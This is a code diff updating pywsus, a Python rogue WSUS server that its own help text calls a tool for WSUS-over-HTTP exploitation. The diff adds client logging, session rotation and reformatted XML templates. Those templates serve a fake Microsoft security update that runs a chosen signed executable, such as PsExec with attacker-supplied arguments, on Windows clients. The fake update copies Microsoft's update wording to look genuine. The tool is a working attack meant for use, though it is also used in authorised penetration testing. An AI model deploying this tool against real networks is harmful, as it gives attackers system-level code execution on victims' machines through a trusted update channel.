# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/36a5d99a-a3ca-439d-bcc5-7325ff6b91e2
data = BeautifulSoup(update_handler.get_cookie_xml, "xml")
+ _log(0, ip, "GetCookie", direction="request")
elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/RegisterComputer"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/b0f2a41f-4b96-42a5-b84f-351396293033
data = BeautifulSoup(update_handler.register_computer_xml, "xml")
+ # --- Parse client OS from computerInfo (§2.2.2.2.3) ---
+ os_build = 0
+ arch = ""
+ os_desc = ""
+ build_tag = post_data_xml.find('OSBuildNumber')
+ arch_tag = post_data_xml.find('ProcessorArchitecture')
+ osdesc_tag = post_data_xml.find('OSDescription')
+
+ if build_tag and build_tag.string:
+ try:
+ os_build = int(build_tag.string.strip())
+ except ValueError:
+ pass
+ if arch_tag and arch_tag.string:
+ arch = arch_tag.string.strip()
+ if osdesc_tag and osdesc_tag.string:
+ os_desc = osdesc_tag.string.strip()
+
+ if os_build or arch or os_desc:
+ update_handler.register_client(ip, os_build, arch, os_desc)
+
+ title = update_handler.title_for_ip(ip)
+ detail = f"{os_desc} build {os_build} arch {arch} -> KB{update_handler.kb_number}"
+ _log(0, ip, "RegisterComputer", detail, direction="request")
+
elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/6b654980-ae63-4b0d-9fae-2abb516af894
- data = BeautifulSoup(update_handler.sync_updates_xml, "xml")
+ # Software sync -> fake updates | Driver sync () -> empty
+ if post_data_xml.find('SystemSpec') is not None:
+ data = BeautifulSoup(update_handler.sync_updates_empty_xml, "xml")
+ _log(0, ip, "SyncUpdates", "driver sync -> empty", direction="request")
+ else:
+ data = BeautifulSoup(update_handler.sync_updates_xml, "xml")
+ _log(0, ip, "SyncUpdates",
+ f"KB{update_handler.kb_number} -> {update_handler.executable_name}",
+ direction="request")
elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/862adc30-a9be-4ef7-954c-13934d8c1c77
- data = BeautifulSoup(update_handler.get_extended_update_info_xml, "xml")
+ data = BeautifulSoup(update_handler.get_ext_info_xml_for(ip), "xml")
+ _log(0, ip, "GetExtendedUpdateInfo",
+ f"KB{update_handler.kb_number}", direction="request")
elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/da9f0561-1e57-4886-ad05-57696ec26a78
data = BeautifulSoup(update_handler.report_event_batch_xml, "xml")
- post_data_report = BeautifulSoup(post_data, "xml")
- logging.info('Client Report: {targetID}, {computerBrand}, {computerModel}, {extendedData}.'.format(targetID=post_data_report.TargetID.text,
- computerBrand=post_data_report.ComputerBrand.text,
- computerModel=post_data_report.ComputerModel.text,
- extendedData=post_data_report.ExtendedData.ReplacementStrings.string))
+ # --- Parse useful fields from ReportEventBatch ---
+ parts = []
+ brand_tag = post_data_xml.find('ComputerBrand')
+ model_tag = post_data_xml.find('ComputerModel')
+ hresult_tag = post_data_xml.find('Win32HResult')
+ repl = post_data_xml.find('ReplacementStrings')
+
+ if brand_tag and brand_tag.string:
+ parts.append(brand_tag.string.strip())
+ if model_tag and model_tag.string:
+ parts.append(model_tag.string.strip())
+ if hresult_tag and hresult_tag.string:
+ hr = hresult_tag.string.strip()
+ parts.append(f"hr={hr}" if hr != "0" else "OK")
+ if repl:
+ first = repl.find('string')
+ if first and first.string:
+ kb_match = re.search(r'KB\d+', first.string)
+ if kb_match:
+ parts.append(kb_match.group())
+
+ detail = " ".join(parts) if parts else ""
+ _log(0, ip, "ReportEventBatch", detail, direction="request")
elif soap_action == '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"':
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wusp/44767c55-1e41-4589-aa01-b306e0134744
data = BeautifulSoup(update_handler.get_authorization_cookie_xml, "xml")
+ _log(0, ip, "GetAuthorizationCookie", direction="request")
else:
- logging.warning("SOAP Action not handled")
- logging.info('SOAP Action: {}'.format(soap_action))
+ _log(0, ip, "WARN", f"unhandled SOAPAction: {soap_action}")
return
- self._set_response()
- self.wfile.write(data.encode_contents())
-
- logging.info('SOAP Action: {}'.format(soap_action))
-
- if data is not None:
- logging.debug("POST Response,\nPath: {path}\nHeaders:\n{headers}\n\nBody:\n{body}\n".format(path=self.path, headers=self.headers, body=data.encode_contents))
- else:
- logging.warning("POST Response without data.")
+ # --- Send response ---
+ response_body = data.encode_contents()
+ self._set_response(xml_body=response_body)
+ try:
+ self.wfile.write(response_body)
+ except (ConnectionResetError, BrokenPipeError):
+ _log(0, ip, "WARN", f"connection reset during {action_name}")
+ return
+ _log_resp(ip, action_name)
+ _log_raw(f"SERVER -> CLIENT {ip} {action_name}",
+ data.prettify(),
+ http_request="HTTP/1.1 200 OK")
-def run(host, port, server_class=HTTPServer, handler_class=WSUSBaseServer):
- server_address = (host, port)
- httpd = server_class(server_address, handler_class)
- logging.info('Starting httpd...\n')
+# ---------------------------------------------------------------------------
+# Server thread
+# ---------------------------------------------------------------------------
+def run(host, port):
+ httpd = HTTPServer((host, port), WSUSBaseServer)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
-
httpd.server_close()
- logging.info('Stopping httpd...\n')
-def parse_args():
- # parse the arguments
- parser = argparse.ArgumentParser(epilog='\tExample: \r\npython pywsus.py -H X.X.X.X -p 8530 -e PsExec64.exe -c "-accepteula -s calc.exe"')
+# ---------------------------------------------------------------------------
+# Banner
+# ---------------------------------------------------------------------------
+
+def _print_banner(host, port, rotate_hours=0):
+ _console.print()
+ _console.print("[bold red]p y w s u s[/]", justify="center")
+ _console.print()
+ rotate_tag = (
+ f" [dim]·[/] [dim]rotate every[/] [magenta]{rotate_hours}h[/]"
+ if rotate_hours else ""
+ )
+ _console.print(
+ f" [dim]listening on[/] [cyan]{host}:{port}[/]"
+ f" [dim]·[/] [bold white]q[/][dim]: quit[/]"
+ f" [dim]·[/] [bold white]r[/][dim]: rotate session[/]"
+ f"{rotate_tag}"
+ )
+ _console.print()
+
+
+# ---------------------------------------------------------------------------
+# Argument parsing
+# ---------------------------------------------------------------------------
+
+def parse_args():
+ parser = argparse.ArgumentParser(
+ description=(
+ "pywsus — Rogue WSUS server for WSUS-over-HTTP exploitation\n"
+ "GoSecure | github.com/GoSecure/pywsus"
+ ),
+ epilog=(
+ "Examples:\n"
+ " python pywsus.py -H 10.0.0.1 -p 8530 -e PsExec64.exe -c '/accepteula /s calc.exe'\n"
+ " python pywsus.py -H 10.0.0.1 -p 8530 -e PsExec64.exe -c '/accepteula' -v --log-file wsus.log\n"
+ " python pywsus.py -H 10.0.0.1 -p 8530 -e PsExec64.exe -c '/accepteula' -vv --log-file wsus.log\n"
+ " python pywsus.py -H 10.0.0.1 -p 8530 -e PsExec64.exe -c '/accepteula' -r 1\n"
+ "\n"
+ "Verbosity:\n"
+ " (none) all events shown on terminal\n"
+ " -v + metadata at startup + --log-file with directions\n"
+ " -vv + full XML bodies in --log-file\n"
+ ),
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ )
parser._optionals.title = "OPTIONS"
- parser.add_argument('-H', '--host', required=True, help='The listening adress.')
- parser.add_argument('-p', '--port', type=int, default=8530, help='The listening port.')
- parser.add_argument('-e', '--executable', type=argparse.FileType('rb'), required=True, help='The Microsoft signed executable returned to the client.')
- parser.add_argument('-c', '--command', required=True, help='The parameters for the current executable.')
- parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Increase output verbosity.')
+
+ core = parser.add_argument_group("Core")
+ core.add_argument('-H', '--host', required=True,
+ help='Listening address (e.g. 0.0.0.0 or 10.0.0.1).')
+ core.add_argument('-p', '--port', type=int, default=8530,
+ help='Listening port (default: 8530).')
+ core.add_argument('-e', '--executable', type=argparse.FileType('rb'), required=True,
+ help='Microsoft-signed PE to serve (e.g. PsExec64.exe).')
+ core.add_argument('-c', '--command', required=True,
+ help='Arguments passed to the executable on the client.')
+ core.add_argument('-r', '--rotate', type=float, default=0, metavar='HOURS',
+ help='Rotate session IDs every N hours (0 = off). '
+ 'Default WSUS detection frequency is ~22 h.')
+
+ out = parser.add_argument_group("Output")
+ out.add_argument('-v', '--verbose', action='count', default=0,
+ help='-v metadata + log directions. -vv + XML bodies in log.')
+ out.add_argument('--log-file', metavar='FILE', default=None,
+ help='Write exchange log to FILE.')
return parser.parse_args()
+# ---------------------------------------------------------------------------
+# Session rotation (--rotate)
+# ---------------------------------------------------------------------------
+
+def _rotate_session(executable_file, executable_name, client_address, command):
+ """Rebuild update_handler with fresh IDs / KB. Atomic swap via global."""
+ global update_handler
+ old_clients = update_handler._clients # preserve known client data
+ new = WSUSUpdateHandler(executable_file, executable_name, client_address)
+ new.set_filedigest()
+ new.set_resources_xml(command)
+ new._clients.update(old_clients) # carry over
+ update_handler = new # GIL makes this assignment atomic
+ _console.rule(style="bright_black")
+ _console.print(
+ f" [bold magenta]↻ Session rotated[/] "
+ f"[bold yellow]KB{new.kb_number}[/] "
+ f"[dim]rev[/] {new.revision_ids} "
+ f"[dim]dep[/] {new.deployment_ids}"
+ )
+ _console.rule(style="bright_black")
+
+
+# ---------------------------------------------------------------------------
+# Entry point
+# ---------------------------------------------------------------------------
+
if __name__ == '__main__':
args = parse_args()
- if args.verbose:
- logging.basicConfig(level=logging.DEBUG)
- else:
- logging.basicConfig(level=logging.INFO)
+ _log_level = min(args.verbose, 2)
+ _log_file = args.log_file
+
+ if _log_file:
+ try:
+ open(_log_file, "w").close()
+ except OSError:
+ pass
executable_file = args.executable.read()
executable_name = os.path.basename(args.executable.name)
args.executable.close()
- update_handler = WSUSUpdateHandler(executable_file, executable_name, client_address='{host}:{port}'.format(host=args.host, port=args.port))
+ if executable_file[:2] != b'MZ':
+ _console.print("[bold red][ERROR][/] Not a valid PE (missing MZ magic bytes)")
+ sys.exit(1)
+
+ update_handler = WSUSUpdateHandler(
+ executable_file, executable_name,
+ client_address=f'{args.host}:{args.port}')
update_handler.set_filedigest()
update_handler.set_resources_xml(args.command)
- logging.info(update_handler)
-
- run(host=args.host, port=args.port)
+ _print_banner(args.host, args.port, args.rotate)
+
+ if _log_level >= 1:
+ _console.print(
+ f" [dim]kb[/] [bold yellow]KB{update_handler.kb_number}[/]\n"
+ f" [dim]uuids[/] [white]{update_handler.uuids}[/]"
+ f" [dim](Install + Bundle identifiers)[/]\n"
+ f" [dim]revision_ids[/] [white]{update_handler.revision_ids}[/]"
+ f" [dim](revision numbers in SyncUpdates)[/]\n"
+ f" [dim]deployment_ids[/] [white]{update_handler.deployment_ids}[/]"
+ f" [dim](deployment entries per revision)[/]\n"
+ f" [dim]sha1[/] [white]{update_handler.sha1}[/]"
+ f" [dim](SHA-1 of payload)[/]\n"
+ f" [dim]sha256[/] [white]{update_handler.sha256}[/]"
+ f" [dim](SHA-256 of payload)[/]"
+ )
+ _console.print()
+
+ _console.print(
+ f" [bold cyan]{'Time':<10}{'Target IP':<17}{'Action':<28}Detail[/]"
+ )
+ _console.rule(style="bright_black")
+
+ t = threading.Thread(target=run, args=(args.host, args.port), daemon=True)
+ t.start()
+
+ rotate_secs = args.rotate * 3600 if args.rotate else 0
+ last_rotate = time.time()
+ client_addr = f'{args.host}:{args.port}'
+
+ old_settings = termios.tcgetattr(sys.stdin)
+ try:
+ tty.setcbreak(sys.stdin.fileno())
+ while True:
+ if rotate_secs and (time.time() - last_rotate) >= rotate_secs:
+ _rotate_session(executable_file, executable_name,
+ client_addr, args.command)
+ last_rotate = time.time()
+ if select.select([sys.stdin], [], [], 0.5)[0]:
+ key = sys.stdin.read(1).lower()
+ if key == 'q':
+ break
+ elif key == 'r':
+ _rotate_session(executable_file, executable_name,
+ client_addr, args.command)
+ last_rotate = time.time()
+ except KeyboardInterrupt:
+ pass
+ finally:
+ termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings)
+
+ _console.rule(style="bright_black")
+ _console.print(
+ f" [bold red]Closed[/] [dim]port[/] [cyan]{args.port}[/]"
+ f" [dim]on[/] [cyan]{args.host}[/]"
+ )
+ _console.print()
\ No newline at end of file
diff --git a/requirements.txt b/requirements.txt
index 79e47c6..12549b2 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,3 +1,6 @@
beautifulsoup4==4.9.1
-lxml==4.6.2
+lxml==6.0.2
soupsieve==2.0.1
+rich==14.3.3
+requests==2.32.5
+flask==3.1.3
\ No newline at end of file
diff --git a/resources/get-authorization-cookie.xml b/resources/get-authorization-cookie.xml
index 4f1feb8..1c255fa 100644
--- a/resources/get-authorization-cookie.xml
+++ b/resources/get-authorization-cookie.xml
@@ -1 +1,13 @@
-prod{cookie}
+
+
+
+
+ prod
+ {cookie}
+
+
+
+
\ No newline at end of file
diff --git a/resources/get-config.xml b/resources/get-config.xml
index 9fa5bf2..4f80733 100644
--- a/resources/get-config.xml
+++ b/resources/get-config.xml
@@ -1 +1,38 @@
-{lastChange}falseAnonymous
+
+
+
+
+ {lastChange}
+ true
+
+
+ Anonymous
+
+
+
+
+
+
+ ProtocolVersion
+ 3.2
+
+
+ MaxExtendedUpdatesPerRequest
+ 50
+
+
+ IsInventoryRequired
+ 0
+
+
+ ClientReportingLevel
+ 2
+
+
+
+
+
+
\ No newline at end of file
diff --git a/resources/get-cookie.xml b/resources/get-cookie.xml
index 5834e81..dd246f5 100644
--- a/resources/get-cookie.xml
+++ b/resources/get-cookie.xml
@@ -1 +1,12 @@
-{expire}{cookie}
+
+
+
+
+ {expire}
+ {cookie}
+
+
+
+
\ No newline at end of file
diff --git a/resources/get-extended-update-info.xml b/resources/get-extended-update-info.xml
index aadd313..c7484af 100644
--- a/resources/get-extended-update-info.xml
+++ b/resources/get-extended-update-info.xml
@@ -1 +1,61 @@
-{revision_id2}<ExtendedProperties DefaultPropertiesLanguage="en" Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation" MaxDownloadSize="{file_size}" MinDownloadSize="{file_size}"><InstallationBehavior RebootBehavior="NeverReboots" /></ExtendedProperties><Files><File Digest="{sha1}" DigestAlgorithm="SHA1" FileName="{filename}" Size="{file_size}" Modified="2010-11-25T15:26:20.723"><AdditionalDigest Algorithm="SHA256">{sha256}</AdditionalDigest></File></Files><HandlerSpecificData type="cmd:CommandLineInstallation"><InstallCommand Arguments="{command}" Program="{filename}" RebootByDefault="false" DefaultResult="Succeeded"><ReturnCode Reboot="false" Result="Succeeded" Code="-1" /></InstallCommand></HandlerSpecificData>{revision_id1}<ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Important" IsBeta="false"><SupportUrl>https://gosecure.net</SupportUrl><SecurityBulletinID>MS42-123</SecurityBulletinID><KBArticleID>2862335</KBArticleID></ExtendedProperties>{revision_id1}<LocalizedProperties><Language>en</Language><Title>Bundle Security Update for * Windows (from KB1234567)</Title><Description>A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article. After you install this update, you may have to restart your system.</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>https://gosecure.net</MoreInfoUrl><SupportUrl>http://gosecure.net</SupportUrl></LocalizedProperties>{revision_id2}<LocalizedProperties><Language>en</Language><Title>Probably-legal-update</Title></LocalizedProperties>{sha1}{url}
+
+
+
+
+
+
+ {revision_id2}
+ <ExtendedProperties DefaultPropertiesLanguage="en"
+ Handler="http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"
+ MaxDownloadSize="{file_size}"
+ MinDownloadSize="{file_size}"><InstallationBehavior
+ RebootBehavior="NeverReboots"
+ /></ExtendedProperties><Files><File Digest="{sha1}"
+ DigestAlgorithm="SHA1" FileName="{filename}" Size="{file_size}"
+ Modified="2010-11-25T15:26:20.723"><AdditionalDigest
+ Algorithm="SHA256">{sha256}</AdditionalDigest></File></Files><HandlerSpecificData
+ type="cmd:CommandLineInstallation"><InstallCommand
+ Arguments="{command}" Program="{filename}" RebootByDefault="false"
+ DefaultResult="Succeeded"><ReturnCode Reboot="false"
+ Result="Succeeded" Code="-1"
+ /></InstallCommand></HandlerSpecificData>
+
+
+ {revision_id1}
+
+ <ExtendedProperties DefaultPropertiesLanguage="en"
+ MsrcSeverity="Important"
+ IsBeta="false"><SupportUrl>https://support.microsoft.com/help/{kb_number}</SupportUrl><SecurityBulletinID>MS42-123</SecurityBulletinID><KBArticleID>{kb_number}</KBArticleID></ExtendedProperties>
+
+
+ {revision_id1}
+
+ <LocalizedProperties><Language>en</Language><Title>{kb_title}</Title><Description>A
+ security issue has been identified in a Microsoft software product that
+ could affect your system. You can help protect your system by installing
+ this update from Microsoft. For a complete listing of the issues that are
+ included in this update, see the associated Microsoft Knowledge Base
+ article. After you install this update, you may have to restart your
+ system.</Description><UninstallNotes>This software update
+ can be removed by selecting View installed updates in the Programs and
+ Features Control
+ Panel.</UninstallNotes><MoreInfoUrl>https://support.microsoft.com/help/{kb_number}</MoreInfoUrl><SupportUrl>https://support.microsoft.com</SupportUrl></LocalizedProperties>
+
+
+ {revision_id2}
+
+ <LocalizedProperties><Language>en</Language><Title>{kb_title}</Title></LocalizedProperties>
+
+
+
+
+ {sha1}
+ {url}
+
+
+
+
+
+
\ No newline at end of file
diff --git a/resources/internal-error.xml b/resources/internal-error.xml
index 7155538..2808135 100644
--- a/resources/internal-error.xml
+++ b/resources/internal-error.xml
@@ -1 +1,11 @@
-a:InternalServiceFaultThe server was unable to process the request due to an internal error.
+
+
+
+
+ a:InternalServiceFault
+ The server was unable to process the request due to an
+ internal error.
+
+
+
\ No newline at end of file
diff --git a/resources/register-computer.xml b/resources/register-computer.xml
index e6d5d3e..1458361 100644
--- a/resources/register-computer.xml
+++ b/resources/register-computer.xml
@@ -1 +1,7 @@
-
+
+
+
+
+
\ No newline at end of file
diff --git a/resources/report-event-batch.xml b/resources/report-event-batch.xml
index 1caf2f8..52058b2 100644
--- a/resources/report-event-batch.xml
+++ b/resources/report-event-batch.xml
@@ -1 +1,9 @@
-true
+
+
+
+ true
+
+
+
\ No newline at end of file
diff --git a/resources/sync-updates-empty.xml b/resources/sync-updates-empty.xml
new file mode 100644
index 0000000..672f069
--- /dev/null
+++ b/resources/sync-updates-empty.xml
@@ -0,0 +1,17 @@
+
+
+
+
+
+ false
+
+ {expire}
+ {cookie}
+
+ true
+
+
+
+
\ No newline at end of file
diff --git a/resources/sync-updates.xml b/resources/sync-updates.xml
index 09e607f..ec52f4c 100644
--- a/resources/sync-updates.xml
+++ b/resources/sync-updates.xml
@@ -1 +1,57 @@
-{revision_id1}{deployment_id1}Installtrue2020-02-29000true<UpdateIdentity UpdateID="{uuid1}" RevisionNumber="204" /><Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" /><Relationships><Prerequisites><AtLeastOne IsCategory="true"><UpdateIdentity UpdateID="0fa1201d-4330-4fa8-8ae9-b877473b6441" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID="{uuid2}" RevisionNumber="204" /></BundledUpdates></Relationships>{revision_id2}{deployment_id2}Bundletrue2020-02-29000true<UpdateIdentity UpdateID="{uuid2}" RevisionNumber="204" /><Properties UpdateType="Software" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>false{expire}{cookie}true
+
+
+
+
+
+
+ {revision_id1}
+
+ {deployment_id1}
+ Install
+ true
+ {last_change}
+ 0
+ 0
+ 0
+ 0
+
+ true
+ <UpdateIdentity UpdateID="{uuid1}" RevisionNumber="204"
+ /><Properties UpdateType="Software" ExplicitlyDeployable="true"
+ AutoSelectOnWebSites="true"
+ /><Relationships><BundledUpdates><UpdateIdentity
+ UpdateID="{uuid2}" RevisionNumber="204"
+ /></BundledUpdates></Relationships>
+
+
+ {revision_id2}
+
+ {deployment_id2}
+ Bundle
+ true
+ {last_change}
+ 0
+ 0
+ 0
+ 0
+
+ true
+ <UpdateIdentity UpdateID="{uuid2}" RevisionNumber="204"
+ /><Properties UpdateType="Software"
+ /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False
+ /></IsInstalled><IsInstallable><True
+ /></IsInstallable></ApplicabilityRules>
+
+
+ false
+
+ {expire}
+ {cookie}
+
+ false
+
+
+
+
\ No newline at end of file